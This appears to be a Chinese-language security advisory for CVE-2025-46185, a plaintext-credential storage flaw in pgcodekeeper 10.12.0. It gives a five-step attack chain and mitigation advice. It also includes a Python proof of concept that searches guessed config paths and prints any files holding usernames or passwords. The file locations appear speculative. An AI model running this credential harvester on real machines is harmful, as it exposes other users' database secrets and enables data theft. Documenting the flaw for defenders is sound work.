CVE-2025-46185 pgcodekeeper明文存储密码和用户名漏洞

漏洞信息

漏洞编号

CVE-2025-46185

漏洞类型

不安全的权限/明文存储凭证

CVSS评分

6.2 中危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

pgcodekeeper

漏洞概述

CVE-2025-46185是pgcodekeeper 10.12.0版本中的一个安全漏洞，属于不安全的权限问题（Insecure Permission）。该漏洞允许本地攻击者通过访问系统配置文件或存储位置，获取以明文形式存储的密码和用户名等敏感凭证信息。pgcodekeeper是一款用于PostgreSQL数据库的代码管理和迁移工具，通常需要连接数据库进行操作，因此会存储数据库连接凭证。由于实现不当，这些凭证以明文形式存储在本地文件中，未进行加密或适当的保护。攻击者只需具备本地访问权限即可读取这些敏感信息，进而可能获得数据库访问权限，造成数据泄露或进一步的恶意操作。此漏洞的CVSS评分为6.2，属于中等严重程度，主要影响机密性。

技术细节

pgcodekeeper 10.12.0版本在存储用户凭证时存在安全缺陷。应用程序将数据库连接的用户名和密码以明文形式写入配置文件或本地存储中，通常位于用户主目录下的隐藏文件夹（如~/.pgcodekeeper/）或应用数据目录中。这些配置文件通常权限设置不当，允许本地其他用户或恶意程序读取。由于没有对敏感凭证进行加密或使用系统密钥链（Keychain/ Credential Manager）进行保护，攻击者可以通过以下方式利用：1）直接读取配置文件获取明文凭证；2）利用符号链接或路径遍历访问存储位置；3）通过其他本地用户权限提升漏洞获取访问。该漏洞的本地攻击向量（AV:L）和无需认证（PR:N）的特性使其在本地环境中容易被利用。攻击成功后可获取数据库访问权限。

攻击链分析

STEP 1

步骤1

攻击者获取pgcodekeeper应用程序的本地访问权限

STEP 2

步骤2

攻击者定位pgcodekeeper的配置文件存储目录（通常位于~/.pgcodekeeper/）

STEP 3

步骤3

攻击者读取配置文件，发现明文存储的数据库用户名和密码

STEP 4

步骤4

攻击者使用获取的凭证连接目标PostgreSQL数据库

STEP 5

步骤5

攻击者执行恶意SQL操作，如数据窃取、修改或删除

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-46185 PoC - pgcodekeeper明文凭证泄露
# 攻击者需要本地访问权限

import os
import json
from pathlib import Path

def find_pgcodekeeper_config():
    """查找pgcodekeeper配置文件位置"""
    config_paths = [
        os.path.expanduser("~/.pgcodekeeper/config.json"),
        os.path.expanduser("~/.pgcodekeeper/connections.json"),
        os.path.expanduser("~/.pgcodekeeper/settings.xml"),
        os.path.expanduser("~/.pgcodekeeper/credentials.properties"),
        os.path.expanduser("~/.config/pgcodekeeper/config.json"),
        os.path.expanduser("~/.local/share/pgcodekeeper/config.json"),
    ]
    
    found_credentials = []
    for path in config_paths:
        if os.path.exists(path):
            print(f"[+] Found config file: {path}")
            try:
                with open(path, 'r') as f:
                    content = f.read()
                    # Check for plaintext credentials
                    if 'password' in content.lower() or 'username' in content.lower():
                        print(f"[!] Potential credentials found in {path}")
                        found_credentials.append({
                            'path': path,
                            'content': content
                        })
            except Exception as e:
                print(f"[-] Error reading {path}: {e}")
    
    return found_credentials

def main():
    print("=== CVE-2025-46185 PoC ===")
    print("pgcodekeeper Plaintext Credential Storage\n")
    
    credentials = find_pgcodekeeper_config()
    
    if credentials:
        print(f"\n[!] Found {len(credentials)} potential credential file(s)")
        for cred in credentials:
            print(f"\nFile: {cred['path']}")
            print("Content preview:")
            print(cred['content'][:500])
    else:
        print("[-] No pgcodekeeper config files found")

if __name__ == "__main__":
    main()

影响范围

pgcodekeeper 10.12.0

防御指南

临时缓解措施

在官方修复版本发布前，可采取以下临时缓解措施：1）限制pgcodekeeper配置目录的访问权限，设置为仅应用程序可读；2）监控配置文件访问日志，及时发现异常读取行为；3）使用数据库防火墙限制来自应用程序服务器的访问；4）定期轮换数据库密码以降低凭证泄露风险；5）考虑使用专门的凭证明文管理工具替代本地存储。